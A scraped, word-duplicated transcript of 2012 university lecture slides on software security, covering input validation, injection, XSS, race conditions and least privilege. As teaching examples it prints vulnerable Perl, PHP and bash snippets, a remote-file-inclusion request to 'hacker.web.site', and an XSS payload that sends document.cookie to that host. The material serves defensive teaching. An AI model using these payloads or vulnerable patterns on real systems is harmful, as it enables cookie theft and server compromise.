Eng. Hector M Lugo-Cordero, MS February 2012

39
Eng. Hector M Lugo-Cordero, Eng. Hector M Lugo-Cordero, MS MS February 2012 February 2012 Software Security Software Security CIS 4361 CIS 4361

description

Software Security CIS 4361. Eng. Hector M Lugo-Cordero, MS February 2012. Most Slides are From: Computer Security: Principles and Practice. Chapter 12 – Software Security. First Edition by William Stallings and Lawrie Brown Lecture slides by Lawrie Brown. Software Security. - PowerPoint PPT Presentation

Transcript of Eng. Hector M Lugo-Cordero, MS February 2012

Page 1: Eng. Hector M Lugo-Cordero, MS February 2012

Eng. Hector M Lugo-Cordero, MSEng. Hector M Lugo-Cordero, MS

February 2012February 2012

Software SecuritySoftware SecurityCIS 4361CIS 4361

Page 2: Eng. Hector M Lugo-Cordero, MS February 2012

Most Slides are From:Most Slides are From:Computer Security: Computer Security:

Principles and PracticePrinciples and Practice

First EditionFirst Edition

by William Stallings and Lawrie Brownby William Stallings and Lawrie Brown

Lecture slides by Lawrie BrownLecture slides by Lawrie Brown

Chapter 12 – Chapter 12 – Software SecuritySoftware Security

Page 3: Eng. Hector M Lugo-Cordero, MS February 2012

Software SecuritySoftware Security

many vulnerabilities result from poor many vulnerabilities result from poor programming practisesprogramming practises cf. Open Web Application Security Top Ten cf. Open Web Application Security Top Ten

include 5 software related flawsinclude 5 software related flaws often from insufficient checking / validation often from insufficient checking / validation

of program inputof program input awareness of issues is criticalawareness of issues is critical

Page 4: Eng. Hector M Lugo-Cordero, MS February 2012

Software Quality vs SecuritySoftware Quality vs Security

software quality and reliabilitysoftware quality and reliability accidental failure of programaccidental failure of program from theoretically random unanticipated inputfrom theoretically random unanticipated input improve using structured design and testingimprove using structured design and testing not how many bugs, but how often triggerednot how many bugs, but how often triggered

software security is relatedsoftware security is related but attacker chooses input distribution, but attacker chooses input distribution,

specifically targeting buggy code to exploitspecifically targeting buggy code to exploit triggered by often very unlikely inputstriggered by often very unlikely inputs which common tests don’t identifywhich common tests don’t identify

Page 5: Eng. Hector M Lugo-Cordero, MS February 2012

Defensive ProgrammingDefensive Programming

a form of defensive design to ensure a form of defensive design to ensure continued function of software despite continued function of software despite unforeseen usageunforeseen usage

requires attention to all aspects of program requires attention to all aspects of program execution, environment, data processedexecution, environment, data processed

also called secure programmingalso called secure programming assume nothing, check all potential errorsassume nothing, check all potential errors rather than just focusing on solving taskrather than just focusing on solving task must validate all assumptionsmust validate all assumptions

Page 6: Eng. Hector M Lugo-Cordero, MS February 2012

Abstract Program ModelAbstract Program Model

Page 7: Eng. Hector M Lugo-Cordero, MS February 2012

Security by DesignSecurity by Design

security and reliability common design security and reliability common design goals in most engineering disciplinesgoals in most engineering disciplines society not tolerant of bridge/plane etc failuressociety not tolerant of bridge/plane etc failures

software development not as maturesoftware development not as mature much higher failure levels toleratedmuch higher failure levels tolerated

despite having a number of software despite having a number of software development and quality standardsdevelopment and quality standards main focus is general development lifecyclemain focus is general development lifecycle increasingly identify security as a key goalincreasingly identify security as a key goal

Page 8: Eng. Hector M Lugo-Cordero, MS February 2012

Handling Program InputHandling Program Input

incorrect handling a very common failingincorrect handling a very common failing input is any source of data from outsideinput is any source of data from outside

data read from keyboard, file, networkdata read from keyboard, file, network also execution environment, config dataalso execution environment, config data

must identify all data sourcesmust identify all data sources and explicitly validate assumptions on size and explicitly validate assumptions on size

and type of values before useand type of values before use

Page 9: Eng. Hector M Lugo-Cordero, MS February 2012

Input Size & Buffer OverflowInput Size & Buffer Overflow

often have assumptions about buffer sizeoften have assumptions about buffer size eg. that user input is only a line of texteg. that user input is only a line of text size buffer accordingly but fail to verify sizesize buffer accordingly but fail to verify size resulting in buffer overflowresulting in buffer overflow

testing may not identify vulnerabilitytesting may not identify vulnerability since focus on “normal, expected” inputssince focus on “normal, expected” inputs

safe coding treats all input as dangeroussafe coding treats all input as dangerous hence must process so as to protect programhence must process so as to protect program

Page 10: Eng. Hector M Lugo-Cordero, MS February 2012

Interpretation of InputInterpretation of Input

program input may be binary or textprogram input may be binary or text binary interpretation depends on encoding binary interpretation depends on encoding

and is usually application specificand is usually application specific text encoded in a character set e.g. ASCIItext encoded in a character set e.g. ASCII internationalization has increased varietyinternationalization has increased variety also need to validate interpretation before usealso need to validate interpretation before use

• e.g. filename, URL, email address, identifiere.g. filename, URL, email address, identifier

failure to validate may result in an failure to validate may result in an exploitable vulnerabilityexploitable vulnerability

Page 11: Eng. Hector M Lugo-Cordero, MS February 2012

Injection AttacksInjection Attacks

flaws relating to invalid input handling flaws relating to invalid input handling which then influences program executionwhich then influences program execution often when passed as a parameter to a helper often when passed as a parameter to a helper

program or other utility or subsystemprogram or other utility or subsystem most often occurs in scripting languagesmost often occurs in scripting languages

encourage reuse of other programs / modulesencourage reuse of other programs / modules often seen in web CGI scriptsoften seen in web CGI scripts

Page 12: Eng. Hector M Lugo-Cordero, MS February 2012

Unsafe Perl ScriptUnsafe Perl Script 1 #!/usr/bin/perl 2 # finger.cgi - finger CGI script using Perl5 CGI module 3 4 use CGI; 5 use CGI::Carp qw(fatalsToBrowser); 6 $q = new CGI; # create query object 7 8 # display HTML header 9 print $q->header,10 $q->start_html('Finger User'),11 $q->h1('Finger User');12 print "<pre>";1314 # get name of user and display their finger details15 $user = $q->param("user");16 print `/usr/bin/finger -sh $user`;1718 # display HTML footer19 print "</pre>";20 print $q->end_html;

Page 13: Eng. Hector M Lugo-Cordero, MS February 2012

Safer ScriptSafer Script

14 # get name of user and display their finger details15 $user = $q->param("user");16 die "The specified user contains illegal characters!"17 unless ($user =~ /^\w+$/);18 print `/usr/bin/finger -sh $user`;

counter attack by validating inputcounter attack by validating input compare to pattern that rejects invalid inputcompare to pattern that rejects invalid input see example additions to script:see example additions to script:

Page 14: Eng. Hector M Lugo-Cordero, MS February 2012

SQL InjectionSQL Injection

another widely exploited injection attackanother widely exploited injection attack when input used in SQL query to databasewhen input used in SQL query to database

similar to command injection similar to command injection SQL meta-characters are the concernSQL meta-characters are the concern must check and validate input for thesemust check and validate input for these

$name = $_REQUEST['name']; $query = “SELECT * FROM suppliers WHERE name = '" . $name . "';" $result = mysql_query($query);

$name = $_REQUEST['name'];$query = “SELECT * FROM suppliers WHERE name = '" .

mysql_real_escape_string($name) . "';"$result = mysql_query($query);

Page 15: Eng. Hector M Lugo-Cordero, MS February 2012

Code InjectionCode Injection

further variantfurther variant input includes code that is then executedinput includes code that is then executed

this type of attack is widely exploitedthis type of attack is widely exploited

<?phpinclude $path . 'functions.php';include $path . 'data/prefs.php';

GET /calendar/embed/day.php?path=http://hacker.web.site/hack.txt?&cmd=ls

Page 16: Eng. Hector M Lugo-Cordero, MS February 2012

Cross Site Scripting AttacksCross Site Scripting Attacks

attacks where input from one user is later attacks where input from one user is later output to another useroutput to another user

XSS commonly seen in scripted web appsXSS commonly seen in scripted web apps with script code included in output to browserwith script code included in output to browser any supported script, e.g. Javascript, ActiveXany supported script, e.g. Javascript, ActiveX assumed to come from application on siteassumed to come from application on site

XSS reflectionXSS reflection malicious code supplied to sitemalicious code supplied to site subsequently displayed to other userssubsequently displayed to other users

Page 17: Eng. Hector M Lugo-Cordero, MS February 2012

XSS ExampleXSS Example cf. guestbooks, wikis, blogs etccf. guestbooks, wikis, blogs etc where comment includes script codewhere comment includes script code

e.g. to collect cookie details of viewing userse.g. to collect cookie details of viewing users need to validate data suppliedneed to validate data supplied

including handling various possible encodingsincluding handling various possible encodings attacks both input and output handlingattacks both input and output handling

Thanks for this information, its great!<script>document.location='http://hacker.web.site/cookie.cgi?'+document.cookie</script>

Page 18: Eng. Hector M Lugo-Cordero, MS February 2012

Validating Input SyntaxValidating Input Syntax to ensure input data meets assumptionsto ensure input data meets assumptions

e.g. is printable, HTML, email, userid etce.g. is printable, HTML, email, userid etc compare to what is known acceptablecompare to what is known acceptable not to known dangerousnot to known dangerous

as can miss new problems, bypass methodsas can miss new problems, bypass methods commonly use regular expressionscommonly use regular expressions

pattern of characters describe allowable inputpattern of characters describe allowable input details vary between languagesdetails vary between languages

bad input either rejected or alteredbad input either rejected or altered

Page 19: Eng. Hector M Lugo-Cordero, MS February 2012

Alternate EncodingsAlternate Encodings may have multiple means of encoding textmay have multiple means of encoding text

due to structured form of data, e.g. HTMLdue to structured form of data, e.g. HTML or via use of some large character setsor via use of some large character sets

Unicode used for internationalizationUnicode used for internationalization uses 16-bit value for charactersuses 16-bit value for characters UTF-8 encodes as 1-4 byte sequencesUTF-8 encodes as 1-4 byte sequences have redundant variantshave redundant variants

• e.g. / is 2F, C0 AF, E0 80 AFe.g. / is 2F, C0 AF, E0 80 AF• hence if blocking absolute filenames check all!hence if blocking absolute filenames check all!

must canonicalize input before checkingmust canonicalize input before checking

Page 20: Eng. Hector M Lugo-Cordero, MS February 2012

Validating Numeric InputValidating Numeric Input

may have data representing numeric valuesmay have data representing numeric values internally stored in fixed sized valueinternally stored in fixed sized value

e.g. 8, 16, 32, 64-bit integers or 32, 64, 96 floate.g. 8, 16, 32, 64-bit integers or 32, 64, 96 float signed or unsignedsigned or unsigned

must correctly interpret text formmust correctly interpret text form and then process consistentlyand then process consistently

have issues comparing signed to unsigned have issues comparing signed to unsigned e.g. large positive unsigned is negative signede.g. large positive unsigned is negative signed could be used to buffer overflow checkcould be used to buffer overflow check

Page 21: Eng. Hector M Lugo-Cordero, MS February 2012

Input FuzzingInput Fuzzing

powerful testing method using a large powerful testing method using a large range of randomly generated inputsrange of randomly generated inputs to test whether program/function correctly to test whether program/function correctly

handles abnormal inputshandles abnormal inputs simple, free of assumptions, cheapsimple, free of assumptions, cheap assists with reliability as well as securityassists with reliability as well as security

can also use templates to generate can also use templates to generate classes of known problem inputsclasses of known problem inputs could then miss bugscould then miss bugs

Page 22: Eng. Hector M Lugo-Cordero, MS February 2012

Writing Safe Program CodeWriting Safe Program Code

next concern is processing of data by next concern is processing of data by some algorithm to solve required problemsome algorithm to solve required problem

compiled to machine code or interpretedcompiled to machine code or interpreted have execution of machine instructionshave execution of machine instructions manipulate data in memory and registersmanipulate data in memory and registers

security issues:security issues: correct algorithm implementationcorrect algorithm implementation correct machine instructions for algorithmcorrect machine instructions for algorithm valid manipulation of datavalid manipulation of data

Page 23: Eng. Hector M Lugo-Cordero, MS February 2012

Correct Algorithm Correct Algorithm ImplementationImplementation

issue of good program developmentissue of good program development to correctly handle all problem variantsto correctly handle all problem variants

c.f. Netscape random number bugc.f. Netscape random number bug supposed to be unpredictable, but wasn’tsupposed to be unpredictable, but wasn’t

when debug/test code left in productionwhen debug/test code left in production used to access data or bypass checksused to access data or bypass checks c.f. Morris Worm exploit of sendmailc.f. Morris Worm exploit of sendmail

interpreter incorrectly handles semanticsinterpreter incorrectly handles semantics hence care needed in design/implementhence care needed in design/implement

Page 24: Eng. Hector M Lugo-Cordero, MS February 2012

Correct Machine LanguageCorrect Machine Language

ensure machine instructions correctly ensure machine instructions correctly implement high-level language codeimplement high-level language code often ignored by programmersoften ignored by programmers assume compiler/interpreter is correctassume compiler/interpreter is correct c.f. Ken Thompson’s paperc.f. Ken Thompson’s paper

requires comparing machine code with requires comparing machine code with original sourceoriginal source slow and difficultslow and difficult is required for higher Common Criteria EAL’sis required for higher Common Criteria EAL’s

Page 25: Eng. Hector M Lugo-Cordero, MS February 2012

Correct Data InterpretationCorrect Data Interpretation

data stored as bits/bytes in computerdata stored as bits/bytes in computer grouped as words, longwords etcgrouped as words, longwords etc interpretation depends on machine instructioninterpretation depends on machine instruction

languages provide different capabilities for languages provide different capabilities for restricting/validating data userestricting/validating data use strongly typed languages more limited, saferstrongly typed languages more limited, safer others more liberal, flexible, less safe e.g. Cothers more liberal, flexible, less safe e.g. C

strongly typed languages are saferstrongly typed languages are safer

Page 26: Eng. Hector M Lugo-Cordero, MS February 2012

Correct Use of MemoryCorrect Use of Memory

issue of dynamic memory allocationissue of dynamic memory allocation used to manipulate unknown amounts of dataused to manipulate unknown amounts of data allocated when needed, released when doneallocated when needed, released when done

memory leak occurs if incorrectly releasedmemory leak occurs if incorrectly released many older languages have no explicit many older languages have no explicit

support for dynamic memory allocationsupport for dynamic memory allocation rather use standard library functionsrather use standard library functions programmer ensures correct allocation/releaseprogrammer ensures correct allocation/release

modern languages handle automaticallymodern languages handle automatically

Page 27: Eng. Hector M Lugo-Cordero, MS February 2012

Race Conditions inRace Conditions inShared Memory Shared Memory

when multiple threads/processes access when multiple threads/processes access shared data / memoryshared data / memory

unless access synchronized can get unless access synchronized can get corruption or loss of changes due to corruption or loss of changes due to overlapping accessesoverlapping accesses

so use suitable synchronization primitivesso use suitable synchronization primitives correct choice & sequence may not be obviouscorrect choice & sequence may not be obvious

have issue of access deadlockhave issue of access deadlock

Page 28: Eng. Hector M Lugo-Cordero, MS February 2012

Interacting with O/SInteracting with O/S

programs execute on systems under O/Sprograms execute on systems under O/S mediates and shares access to resourcesmediates and shares access to resources constructs execution environmentconstructs execution environment with environment variables and argumentswith environment variables and arguments

systems have multiple userssystems have multiple users with access permissions on resources / datawith access permissions on resources / data

programs may access shared resourcesprograms may access shared resources e.g. filese.g. files

Page 29: Eng. Hector M Lugo-Cordero, MS February 2012

Environment VariablesEnvironment Variables

set of string values inherited from parentset of string values inherited from parent can affect process behaviorcan affect process behavior e.g. PATH, LD_LIBRARY_PATHe.g. PATH, LD_LIBRARY_PATH

process can alter for its childrenprocess can alter for its children another source of untrusted program inputanother source of untrusted program input attackers use to try to escalate privilegesattackers use to try to escalate privileges privileged shell scripts targetedprivileged shell scripts targeted

very difficult to write safely and correctlyvery difficult to write safely and correctly

Page 30: Eng. Hector M Lugo-Cordero, MS February 2012

Example Vulnerable ScriptsExample Vulnerable Scripts using PATH environment variablesusing PATH environment variables cause script to execute attackers programcause script to execute attackers program with privileges granted to scriptwith privileges granted to script almost impossible to prevent in some formalmost impossible to prevent in some form

#!/bin/bashuser=`echo $1 | sed 's/@.*$//'`grep $user /var/local/accounts/ipaddrs

#!/bin/bashPATH=”/sbin:/bin:/usr/sbin:/usr/bin”export PATHuser=`echo $1 | sed 's/@.*$//'`grep $user /var/local/accounts/ipaddrs

Page 31: Eng. Hector M Lugo-Cordero, MS February 2012

Use of Least PrivilegeUse of Least Privilege

exploit of flaws may give attacker greater exploit of flaws may give attacker greater privileges - privilege escalationprivileges - privilege escalation

hence run programs with least privilege hence run programs with least privilege needed to complete their functionneeded to complete their function determine suitable user and group to usedetermine suitable user and group to use whether grant extra user or group privilegeswhether grant extra user or group privileges

• latter preferred and safer, may not be sufficientlatter preferred and safer, may not be sufficient ensure can only modify files/dirs neededensure can only modify files/dirs needed

• otherwise compromise results in greater damageotherwise compromise results in greater damage• recheck these when moved or upgradedrecheck these when moved or upgraded

Page 32: Eng. Hector M Lugo-Cordero, MS February 2012

Root/Admin ProgramsRoot/Admin Programs

programs with root / administrator programs with root / administrator privileges a major target of attackersprivileges a major target of attackers since provide highest levels of system accesssince provide highest levels of system access are needed to manage access to protected are needed to manage access to protected

system resources, e.g. network server portssystem resources, e.g. network server ports often privilege only needed at startoften privilege only needed at start

can then run as normal usercan then run as normal user good design partitions complex programs good design partitions complex programs

in smaller modules with needed privilegesin smaller modules with needed privileges

Page 33: Eng. Hector M Lugo-Cordero, MS February 2012

System Calls andSystem Calls andStandard Library FunctionsStandard Library Functions

programs use system calls and standard programs use system calls and standard library functions for common operationslibrary functions for common operations and make assumptions about their operationand make assumptions about their operation if incorrect behavior is not what is expectedif incorrect behavior is not what is expected may be a result of system optimizing access may be a result of system optimizing access

to shared resourcesto shared resources• by buffering, re-sequencing, modifying requestsby buffering, re-sequencing, modifying requests

can conflict with program goalscan conflict with program goals

Page 34: Eng. Hector M Lugo-Cordero, MS February 2012

Secure File ShredderSecure File Shredder

patterns = [10101010, 01010101, 11001100, 00110011, 00000000, 11111111, … ]open file for writingfor each pattern seek to start of file overwrite file contents with patternclose fileremove file

patterns = [10101010, 01010101, 11001100, 00110011, 00000000, 11111111, … ]open file for updatefor each pattern seek to start of file overwrite file contents with pattern flush application write buffers sync file system write buffers with deviceclose fileremove file

Page 35: Eng. Hector M Lugo-Cordero, MS February 2012

Race ConditionsRace Conditions

programs may access shared resourcesprograms may access shared resources e.g. mailbox file, CGI data filee.g. mailbox file, CGI data file

need suitable synchronization mechanismsneed suitable synchronization mechanisms e.g. lock on shared filee.g. lock on shared file

alternativesalternatives lockfile - create/check, advisory, atomiclockfile - create/check, advisory, atomic advisory file lock - e.g. flockadvisory file lock - e.g. flock mandatory file lock - e.g. fcntl, need releasemandatory file lock - e.g. fcntl, need release

• later mechanisms vary between O/Slater mechanisms vary between O/S• have subtle complexities in usehave subtle complexities in use

Page 36: Eng. Hector M Lugo-Cordero, MS February 2012

Safe Temporary FilesSafe Temporary Files many programs use temporary filesmany programs use temporary files often in common, shared system areaoften in common, shared system area must be unique, not accessed by othersmust be unique, not accessed by others commonly create name using process IDcommonly create name using process ID

unique, but predictableunique, but predictable attacker might guess and attempt to create attacker might guess and attempt to create

own between program checking and creatingown between program checking and creating secure temp files need random namessecure temp files need random names

some older functions unsafesome older functions unsafe must need correct permissions on file/dirmust need correct permissions on file/dir

Page 37: Eng. Hector M Lugo-Cordero, MS February 2012

Other Program InteractionOther Program Interaction

may use services of other programsmay use services of other programs must identify/verify assumptions on datamust identify/verify assumptions on data esp older user programs esp older user programs

now used within web interfacesnow used within web interfaces must ensure safe usage of these programsmust ensure safe usage of these programs

issue of data confidentiality / integrityissue of data confidentiality / integrity within same system use pipe / temp filewithin same system use pipe / temp file across net use IPSec, TLS/SSL, SSH etcacross net use IPSec, TLS/SSL, SSH etc

also detect / handle exceptions / errorsalso detect / handle exceptions / errors

Page 38: Eng. Hector M Lugo-Cordero, MS February 2012

Handling Program OutputHandling Program Output

final concern is program outputfinal concern is program output stored for future use, sent over net, displayedstored for future use, sent over net, displayed may be binary or textmay be binary or text

conforms to expected form / interpretationconforms to expected form / interpretation assumption of common origin, assumption of common origin, c.f. XSS, VT100 escape seqs, X terminal hijackc.f. XSS, VT100 escape seqs, X terminal hijack

uses expected character setuses expected character set target not program but output display devicetarget not program but output display device

Page 39: Eng. Hector M Lugo-Cordero, MS February 2012

SummarySummary

discussed software security issuesdiscussed software security issues handling program input safelyhandling program input safely

size, interpretation, injection, XSS, fuzzingsize, interpretation, injection, XSS, fuzzing writing safe program codewriting safe program code

algorithm, machine language, data, memoryalgorithm, machine language, data, memory interacting with O/S and other programsinteracting with O/S and other programs

ENV, least privilege, syscalls / std libs, file ENV, least privilege, syscalls / std libs, file lock, temp files, other programslock, temp files, other programs

handling program outputhandling program output